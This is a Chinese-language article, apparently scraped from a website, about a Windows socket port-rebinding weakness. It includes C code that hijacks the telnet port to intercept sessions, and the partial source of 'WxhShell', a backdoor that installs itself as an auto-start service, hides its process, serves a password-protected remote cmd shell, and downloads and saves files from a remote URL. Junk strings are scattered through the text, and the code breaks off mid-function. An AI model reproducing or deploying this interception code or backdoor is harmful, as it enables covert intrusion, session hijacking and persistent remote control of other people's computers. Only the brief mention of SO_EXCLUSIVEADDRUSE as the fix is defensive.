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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _}tPtHPa/ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6xx(o \s7/` saddr.sin_family = AF_INET; .z^O y_S{ y:Aha#< saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~bz$] o-< >v)V2,P
- bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "iUh.c=0F, uzIM?.H 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 yYdh+ x
~U5Tn3'~ 这意味着什么?意味着可以进行如下的攻击: Y~@( 15d'/f 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 dF*M"|[ ?RS4oJz,5g 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _}
K3}} #44}Snz 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |?TX^) "^wIixOH5 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
`cPZsL bmJdZD7-<k 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 oA3;P]~[ H3( @Q^9 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Y7;=\/SV L
nyow} 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /4|_A {m{m ^
4*#QtO #include RDEK=^J #include Z+=-)&L #include wj5,_d) #include 2w fkXS=~6 DWORD WINAPI ClientThread(LPVOID lpParam); Q:Ma3El\ int main() N:~4>p44[ { 4BeHj~~ WORD wVersionRequested; uPE Ab2u=" DWORD ret; Ctx>#uN6 WSADATA wsaData; 9 9^7Ek!z# BOOL val; 6C\WX(@4 SOCKADDR_IN saddr; &P"1 3]^@ SOCKADDR_IN scaddr; 1DGl[k/zv int err; f?>
?jf SOCKET s; rV} 5&N*c SOCKET sc; umCmxmr& int caddsize; &h_Y?5k K HANDLE mt; #^(Yw|/K DWORD tid; 5rmQ:8_5 wVersionRequested = MAKEWORD( 2, 2 ); ^f9@=I err = WSAStartup( wVersionRequested, &wsaData ); :#cJZ\YH if ( err != 0 ) { .`(YCn?\ printf("error!WSAStartup failed!\n");
A[F_x*S return -1; FR>[g`1 } yYSoJqj
Q saddr.sin_family = AF_INET; `g4N]<@z ^Cvt^cI //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 vU(fd!V ? <":83RCS saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); z, FPhbFn saddr.sin_port = htons(23); ?*ZQ:jH if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;mC|>wSZ { !;P[Y"h@r printf("error!socket failed!\n"); s_^N=3Si
return -1; ,_s.amL3O{ } sB$" mJ val = TRUE; Q)lD2 //SO_REUSEADDR选项就是可以实现端口重绑定的 H328I}7 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Br.UN~q { A/"2a55 printf("error!setsockopt failed!\n"); U"oHPK3"TA return -1; Db;>MWt+e } S9ic4rcd //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]&9=f#k% //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k8@bQ"#b //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3\{\ al (ti!Y"e2 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }RKsS3} {
rixVIfVF ret=GetLastError(); N eP printf("error!bind failed!\n"); atw*t1)g return -1; S)W?W}*R\ }
+U%epq listen(s,2); 7oc Ng while(1) w'XSkI_ay { k\9kOZW caddsize = sizeof(scaddr); IXlk1tHN4I //接受连接请求 XKDX*x G sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lQ4^I^?m if(sc!=INVALID_SOCKET) _a|g
> { EyA(W;r. mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )s4:&! if(mt==NULL) cLvnLaA} { SGba6b31 printf("Thread Creat Failed!\n"); EwgNd Gcj break;
nEW.Y33 } rdtzz#7 } (w\|yPBB CloseHandle(mt); #<U@SMv } !!8;ZcL}Z closesocket(s); "gzn%k[D9m WSACleanup(); }NRt:JC return 0; b'`XFB#V } 9`5.0** DWORD WINAPI ClientThread(LPVOID lpParam) Y,EF'Ot { kmo#jITa` SOCKET ss = (SOCKET)lpParam; W(?J,8> SOCKET sc; ^,?>6O unsigned char buf[4096]; z4` :n. SOCKADDR_IN saddr; Pth4_]US long num; i_+e&Bjd4j DWORD val; ;-l^X%r DWORD ret; 1vCp<D9< //如果是隐藏端口应用的话,可以在此处加一些判断 (~! @Uz5 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 c,ct=m.|6A saddr.sin_family = AF_INET; [u J<] saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); p]?eIovi saddr.sin_port = htons(23); k6Vs#K7a if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o8IqO' { M?hPlo"_ printf("error!socket failed!\n"); (!0_s48f return -1; xaV3N[Zd } h.Sbds val = 100; \IzZJGi if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3UZ_1nY { q$IU!I4 ret = GetLastError(); bNtOqhi return -1; fIatp } cIkA ~F if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IM[=]j.? { RU=g|TL ret = GetLastError(); f(K1,L:&7 return -1; 5GPAt } C:bA:O if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vp d!|/ { J4iu8_eH!D printf("error!socket connect failed!\n"); i12G\Ye closesocket(sc); QV*la= j/ closesocket(ss); NcX-*o return -1; //Xz } R iV]SgV9 while(1) W&Xi&[Ux { 6O 2sa-{d //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ZX{eggXl //如果是嗅探内容的话,可以再此处进行内容分析和记录 M$f_I + //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 gB,Q4acjj num = recv(ss,buf,4096,0); oW(8bd) if(num>0) AP=SCq; send(sc,buf,num,0); o(t`XE['< else if(num==0) b
Hy<`p0 break; Esg: num = recv(sc,buf,4096,0); ~wGjr7Wt if(num>0) #SD2b,f send(ss,buf,num,0); wc~ 9zh else if(num==0) 6jl{^dI break; nRX<$OzTV } (KfdN'vW closesocket(ss); X&K,,C closesocket(sc); PM {L}tEQ return 0 ; *y>| } f9n4/(Cy nXxnyom, [~Z#yEiW^ ========================================================== j{zVVT ~i}/ 下边附上一个代码,,WXhSHELL qEkhgJqk 2Paw*"U ========================================================== BTE&7/i21 G0ENk|wbbj #include "stdafx.h" >v%UV:7ap mj y+_ #include <stdio.h> / pR,l5 #include <string.h> '9|R7 #include <windows.h> \<y#$:4r<8 #include <winsock2.h> HMR!XF&JjC #include <winsvc.h> 9Mv4=k^7|4 #include <urlmon.h> "QY~V{u5 yXc@i)9w3 #pragma comment (lib, "Ws2_32.lib") @;d7#!:cE #pragma comment (lib, "urlmon.lib") +Nka,C^O" h^b= #define MAX_USER 100 // 最大客户端连接数 `P9%[8`C 9 #define BUF_SOCK 200 // sock buffer ?T_hK #define KEY_BUFF 255 // 输入 buffer E__A1j*gd 8L(KdDY #define REBOOT 0 // 重启 );x[1*e #define SHUTDOWN 1 // 关机 hzX&BI faI4`.i #define DEF_PORT 5000 // 监听端口 9M-/{D^+< .s@[-!
p #define REG_LEN 16 // 注册表键长度 E}=F
#define SVC_LEN 80 // NT服务名长度 &oiBMk`* 7kidPAhY // 从dll定义API cK+)MFOu+ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QgX[?2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q]t^6m&- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :~9F/Jx typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 90)rOD1B w+tO@ // wxhshell配置信息 iD9hqiX& struct WSCFG { \t@|-` int ws_port; // 监听端口 ~#
|p=Y char ws_passstr[REG_LEN]; // 口令 ]dIr;x` int ws_autoins; // 安装标记, 1=yes 0=no y<5xlN(+v char ws_regname[REG_LEN]; // 注册表键名 #/`V.jXt> char ws_svcname[REG_LEN]; // 服务名 b; 4;WtBO char ws_svcdisp[SVC_LEN]; // 服务显示名 h9J char ws_svcdesc[SVC_LEN]; // 服务描述信息 5bKn6O)K char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Yt;.Z$i , int ws_downexe; // 下载执行标记, 1=yes 0=no J&6]3x char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" V]9?9-r char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :!Tb/1 c8jq.y v }; e: :H1V x_5H_! \# // default Wxhshell configuration 89)rss struct WSCFG wscfg={DEF_PORT, ,Z I"+v "xuhuanlingzhe", AHR[i%3W 1, P1ab2D "Wxhshell", 1jozM"H7Q "Wxhshell", g< {jgF "WxhShell Service", up7]Yy;o= "Wrsky Windows CmdShell Service", +d736lLe% "Please Input Your Password: ", /P0%4aWu= 1, QY<2i-A " http://www.wrsky.com/wxhshell.exe", 6]^}GyM! "Wxhshell.exe" iB 5 Se }; u-7/4Y)c MLcc // 消息定义模块 xGeRoW(X char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3say&|kJ char *msg_ws_prompt="\n\r? for help\n\r#>"; Vj"B# char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; PQ|kE`' char *msg_ws_ext="\n\rExit."; K/jC>4/c/ char *msg_ws_end="\n\rQuit."; D[)g-_3f6< char *msg_ws_boot="\n\rReboot..."; GRb"jF>ut char *msg_ws_poff="\n\rShutdown..."; }4kd=]Nk char *msg_ws_down="\n\rSave to "; ?j8F5(HF? gX34'<Z char *msg_ws_err="\n\rErr!"; eUA6X
,I char *msg_ws_ok="\n\rOK!"; iFW)}_. oToUpkAI char ExeFile[MAX_PATH]; 969*mcq' int nUser = 0; kQ~*iY HANDLE handles[MAX_USER]; w7]@QTC int OsIsNt; Z!m0nx [=-?n6 SERVICE_STATUS serviceStatus; ~fE@]~f> SERVICE_STATUS_HANDLE hServiceStatusHandle; _d&FB~= 5TVDt // 函数声明 C-$S]6 int Install(void); 1
{dhGX int Uninstall(void); n=n!Hn int DownloadFile(char *sURL, SOCKET wsh); EOjo>w> int Boot(int flag); k9.2*+vvg void HideProc(void); |jniI( int GetOsVer(void); [|\~-6"7N| int Wxhshell(SOCKET wsl); 8|`4D 'Ln void TalkWithClient(void *cs);
e@6<mir[4 int CmdShell(SOCKET sock); m6)8L?B int StartFromService(void); 1_!*R]a q int StartWxhshell(LPSTR lpCmdLine); m0W5O gk T"XP`gk VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ym5q#f)| VOID WINAPI NTServiceHandler( DWORD fdwControl ); S\
~Wpf X 6/k `J // 数据结构和表定义 g6k@E,cI_ SERVICE_TABLE_ENTRY DispatchTable[] = jAmAT/ 1 { o jzO?z {wscfg.ws_svcname, NTServiceMain}, RiF~-;v& {NULL, NULL} 9Nglt3J[ }; cejSGsW6q o-B9r+N // 自我安装 74rz~ZM
5 int Install(void) Jeyy Z= { ._"U{
f2V char svExeFile[MAX_PATH]; 1K&z64Q5J HKEY key; &""~Pn8 strcpy(svExeFile,ExeFile); X~GnK>R 6|t4\' // 如果是win9x系统,修改注册表设为自启动 q4PRc<\^ if(!OsIsNt) { J_OIU#-B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .xuLvNyQr RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /NaIMo5 RegCloseKey(key); `9Zoq=/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aHe/MucK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a1B_w#?8 RegCloseKey(key); oori t return 0; ~S15tZ $ } ^)conSm } ScYw3i } 3Ln~"HwP else { dU\,>3tG R4u=. // 如果是NT以上系统,安装为系统服务 `h/j3fmX? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Id(o6j^J_ if (schSCManager!=0) f@T/^|`mh { ~mx me6"v SC_HANDLE schService = CreateService I4ZL+a ( 11}X2j~Ww schSCManager, W~k"`g7uu wscfg.ws_svcname, o-Pa3L= wscfg.ws_svcdisp, ge9j:S{ SERVICE_ALL_ACCESS, 9%j_"+<c SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N&U=5c`Q' SERVICE_AUTO_START, i)g=Lew SERVICE_ERROR_NORMAL, ?2_Oa%M svExeFile, 3'8B rK NULL, *+re2O)Eh' NULL, e3UGYwQ NULL, q
[Rqy !, NULL, tbF>"?FY/ NULL PuqT&|wP l ); ByoSwQ if (schService!=0) }(z[
rZ { 6uW?xB9 CloseServiceHandle(schService); ,J"6(nk CloseServiceHandle(schSCManager); EFu2&P strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &WE| 9 strcat(svExeFile,wscfg.ws_svcname); vF0#] if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k`U")lv RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xGCW-YR9 RegCloseKey(key); !*ct3{m return 0; >
$DMVtE0 } w d2GKq! } 3r!6Z5P7{' CloseServiceHandle(schSCManager); E1usxF) } :jB~rhZ~ } AHc:6v^ :oYu+cQ return 1;
i-w^pv' } aa2&yc29hp W\:!v%C // 自我卸载 wv>*g:El' int Uninstall(void) zD:"O4ZM^^ { O-y/K2MC* HKEY key; qZACX.Hw :0x,%V74_! if(!OsIsNt) { A94ZG: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '=K
[3%U RegDeleteValue(key,wscfg.ws_regname); bhDV U(%I6 RegCloseKey(key); ma[%,u` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O*xC}$OOn RegDeleteValue(key,wscfg.ws_regname); u9My.u@-*% RegCloseKey(key); A(G%9'T return 0; h3D~?Iom } \fIGMoy! } M3ihtY } 'g.9
goQ else { YyEW}2 ^F2OTz4n SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f#mBMdj if (schSCManager!=0) /8(c^ { ~XGBE SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I[,tf! if (schService!=0) dCv@l7hE { &HBqweI if(DeleteService(schService)!=0) { "}
=RPc%9 CloseServiceHandle(schService); 2u9O+]EP CloseServiceHandle(schSCManager); l?Vm/YXb return 0; Agt6G\n } &J(+XJM% CloseServiceHandle(schService); 6 /_] |4t } ATx6YP@7~ CloseServiceHandle(schSCManager); 4Gz5Ju } ?}|l ) } };;\&# Cq\1t return 1; !wP|t#Sc9 } =OY&;d!C z{XN1'/V // 从指定url下载文件 &c!d}pU} int DownloadFile(char *sURL, SOCKET wsh) 8axz`2 ` { !-%fCg(B HRESULT hr; I3sH8/* char seps[]= "/"; gwVfiXR4 char *token; W,<L/ZKJ char *file; {6H%4n char myURL[MAX_PATH]; GP=i6I6C char myFILE[MAX_PATH]; vxuxfi8x !Rp strcpy(myURL,sURL); W=b<"z]RE token=strtok(myURL,seps); %B9iby8)1 while(token!=NULL) #m>Rt~(,S { :lf;CT6$ file=token; /IQl token=strtok(NULL,seps); bz5",8Mn }
/tIR}qK nADt8 GetCurrentDirectory(MAX_PATH,myFILE); ~q0g7?}& strcat(myFILE, "\\"); '2)c;/-E strcat(myFILE, file); 1K(a=o[Ce send(wsh,myFILE,strlen(myFILE),0); kg@D?VqJP send(wsh,"...",3,0); i>=d7'oR hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rb8c^u#r if(hr==S_OK) ]MI>"hn return 0; &?+ vHE} else ifA=qn0=} return 1; cfZG3" KKMzhvf]# } ]LGp3)T- lIR0jgP@z // 系统电源模块 Hgu:*iYA int Boot(int flag) H<tk/\C { OPm?kr HANDLE hToken; g7*"*%v 2 TOKEN_PRIVILEGES tkp; F\pw0^K;N >R|*FYam if(OsIsNt) { /JP]5M) OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f1eY2UtWQ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gkxEy5c[ tkp.PrivilegeCount = 1; r]! <iw tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7\ .Ax AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PT2b^PP if(flag==REBOOT) { "= H.$
+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a2:Tu return 0; RX]x3- } G` !ff else { _W@SCV)yH if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7lP3\7wD@9 return 0; fwR3=:5~ } /t"p^9!^ } G'|Emu=4 else { w8~J5XS if(flag==REBOOT) { g 4n&k if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :V)W?~Z7B return 0; ?(8z O" } 8 I'1~d%$ else { XTIRY4{
d if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lHYu-}TNP return 0; ~&E|;\G } "|1MJuY_6 } 6k#H>zY, Effp^7 3 return 1; F~Kd5-I@ } mtfyhFk to0tH^pD // win9x进程隐藏模块 %9_wDfw~ void HideProc(void) jgiP2k[Xom { S 6sSdo'
H>AzxhX[n HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kvU0$1 if ( hKernel != NULL ) ?$O5w* {
":,HY)z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o]NL_SM_ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +mBJvrI FreeLibrary(hKernel); JOj\#!\>k0 } X,- '
v[z Z&mV1dxR return; >40B
Fxc } Q:LyD!at ~"l
a2 // 获取操作系统版本 vPG!S{4 int GetOsVer(void) b0a'Y"oef4 { >K`.!!av,Y OSVERSIONINFO winfo; M
mg#Vy~ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oz}p]l7 GetVersionEx(&winfo); N0s)Nao4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vcB+h;x return 1; &`rV{%N" else nsyg>=j return 0; 0/.#V*KM } :oB4\/(G# -X#J<u T/ // 客户端句柄模块 39!o!_g int Wxhshell(SOCKET wsl) ^H+j;K{5, { @LY 5]og SOCKET wsh; ~A0E4UJgq struct sockaddr_in client; UT[9ERS DWORD myID; nf< <]iHf CiP-Zh[gZ while(nUser<MAX_USER) SwQ.tK1p { <!,q:[ee5 int nSize=sizeof(client); ,8(%J3J wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !DnG)4# if(wsh==INVALID_SOCKET) return 1; @C=, >+D h3;Ij ' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PMZdz>>T if(handles[nUser]==0) VGcl)fIqw? closesocket(wsh); #e%.z+7I else aMTY{ nUser++; ]P0DPea } C#r_qn WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *f8,R"]-g C!w@Naj return 0; e,E;\x
& } ^a`zvrE
v
Xi5kE'_ // 关闭 socket [ hj|8) void CloseIt(SOCKET wsh) w8%yX$< { F *;
+-e closesocket(wsh); +Z XGT nUser--; hBsjO3n ExitThread(0); whNRUOK: } ZP)=2'RY dh/:H/k kR // 客户端请求句柄 (Cp:NS void TalkWithClient(void *cs) M
O5fu! { K! /E0G& ./<3jf : SOCKET wsh=(SOCKET)cs; F dv&kK! char pwd[SVC_LEN]; whKr3) char cmd[KEY_BUFF]; P7\(D` char chr[1]; kSNVI-Wzu int i,j; >1ZMQgCG cXJgdBwo while (nUser < MAX_USER) { jn\\,n"6 JXj` if(wscfg.ws_passstr) { ^
+{ ~
^y7 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;_j\E(^% //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .WL507*"Ce //ZeroMemory(pwd,KEY_BUFF); w& RpQcV i=0; mQ%kGqs while(i<SVC_LEN) { +:&(Ag 3:Co K# // 设置超时 D .Cm& fd_set FdRead; P[P!WLr"" struct timeval TimeOut; nE-=7S L FD_ZERO(&FdRead); glHag"( FD_SET(wsh,&FdRead); wX 41R]pF TimeOut.tv_sec=8; 6X|KKsPzX TimeOut.tv_usec=0; $
O!f*lG int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @YwaOc_% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >mF`XbS =X&h5;x' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V2/+SvB2 pwd =chr[0]; 6lT'%ho}B if(chr[0]==0xd || chr[0]==0xa) { FA{I
S0 pwd=0; ]VJcV.7` break; n]Dq } L&3=5Bf9 i++; Tjs-+$P+ } bT{P1nUu !W$Br\< // 如果是非法用户,关闭 socket 62(WZX%b if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); flLmZ1" } [RpFC4W p'w[5' send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [F/x U send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9: ~,TH $E7yJ|p{ while(1) { N_0&3PUSM [q.W!l4E ZeroMemory(cmd,KEY_BUFF); qE,%$0g ^\+6*YE 4 // 自动支持客户端 telnet标准 I:6xDDpZG` j=0; KktTR`W while(j<KEY_BUFF) { RM<\bZPc if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M2xUs cmd[j]=chr[0]; bkOm/8k|4 if(chr[0]==0xa || chr[0]==0xd) {
P`bR;2o cmd[j]=0; -nk %He break; tb=L+WAIw } D[-Ct j++; +H<%)Lk J } T!a8c<'V +^69>L2V // 下载文件 JAiV7v4&R if(strstr(cmd,"http://")) { :m$%D]WY send(wsh,msg_ws_down,strlen(msg_ws_down),0); vY;Lc if(DownloadFile(cmd,wsh)) JR<R8+@g_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); PPq*_Cf else ptDA))7M/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uk'<9g^ } *E.
2R{ else { e@,L~\ Fk9(FOFg switch(cmd[0]) { /Cg/Rwl e1/|PgT(KM // 帮助 L0_=R;.< case '?': { 0~S<}N send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mMjVbeh[ break; LAwS8t', } rRt<kTk!U // 安装 !< X_XA case 'i': { ?,8b-U#A1 if(Install()) ah<f&2f send(wsh,msg_ws_err,strlen(msg_ws_err),0); r2Z`4tN: else ^y6CV4T+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h`GV[Oo : break; O0{v`|w9+ } RCX4;,DHx // 卸载 B+Bv(p case 'r': { RI*%\~6t? if(Uninstall()) L"-&B$B: send(wsh,msg_ws_err,strlen(msg_ws_err),0); ./g#< else 7r;A
wa send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '{u#:TTj break; JR>B<{xB } .z4FuG,R // 显示 wxhshell 所在路径 !*ucVv; case 'p': { )I$Mh@F char svExeFile[MAX_PATH]; S8cFD):q strcpy(svExeFile,"\n\r"); He*L"VpWv strcat(svExeFile,ExeFile); Qv=Z send(wsh,svExeFile,strlen(svExeFile),0); _k@l-Bj break; #FQVhgc } 52 A=c1kb // 重启 [}Iq-sz;0 case 'b': { bbM
!<&F send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mT9\%5d3 if(Boot(REBOOT)) A&7jE:Ew send(wsh,msg_ws_err,strlen(msg_ws_err),0); `&6]P :_qp else { puyL(ohem closesocket(wsh); j w462h ExitThread(0); >k#aB.6 } {2Ibd i break; ;5l|-&{@* } _t[%@G>P // 关机 !Yf0y;e|: case 'd': { l85"C send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0cbF.Um8 if(Boot(SHUTDOWN)) v%- V|L send(wsh,msg_ws_err,strlen(msg_ws_err),0); !{XO#e else { iTvCkb48m closesocket(wsh); n 3]y$wK ExitThread(0); Lgfr"{C } srkOad break; <KA@A} } Qw-qcG // 获取shell Dw[Q,SE case 's': { zVa+5\Q CmdShell(wsh); {XC rjO| closesocket(wsh); ~>R)H#mP7 ExitThread(0); [<;2 C break; %G&v@R } <coCu0 // 退出 jdp:G case 'x': { w6Q]?p+ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u5ygbCm CloseIt(wsh); ~k(Ez pn# break; q Q'@yTVN } $gTPW,~s[ // 离开 5S?yj case 'q': { O5?Eb send(wsh,msg_ws_end,strlen(msg_ws_end),0); QMY4%uyY! closesocket(wsh); u2Obb`p S WSACleanup(); ?rDwYG(u]@ exit(1); a40BisrD~6 break; 7KIQ)E'kG| } 8IH gsW"; } I2T2'_I } k#&SWp= .#J3UZ // 提示信息 g-}sVvM if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hzb|: } B$Z!E%a; } -*2X YTe LNE[c return; x TZ5q*Hqx } uSJP"Lw pAuwSn#i // shell模块句柄 5XHkRcESZ int CmdShell(SOCKET sock) mg(56) { k]iS3+nD STARTUPINFO si; ~=ktFuEa ZeroMemory(&si,sizeof(si)); bYc qscW si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HWBom8u0 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5aNDW'z`f PROCESS_INFORMATION ProcessInfo; lg+g:o char cmdline[]="cmd"; Sq,ty{j2% CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Qg!*=<b return 0; @k,(i=** } 7p$*/5fk #O+]ydvT // 自身启动模式 #^ #i]{g int StartFromService(void) sD+G+ { E=NY{| > typedef struct {SJ7Yfs { ?<QFW#:) DWORD ExitStatus; BaAb4{ DWORD PebBaseAddress; Uzn|)OfWP DWORD AffinityMask; QO/7p]$_ DWORD BasePriority; \[EWxu ULONG UniqueProcessId; {Xd5e@:Js ULONG InheritedFromUniqueProcessId; $"{3i8$3mT } PROCESS_BASIC_INFORMATION; Q%2Lyt"( z:5ROlk0 PROCNTQSIP NtQueryInformationProcess; G{~p.?f: E5{)d~q static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z]AS@}wWqg static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @\8gzvkt A#:
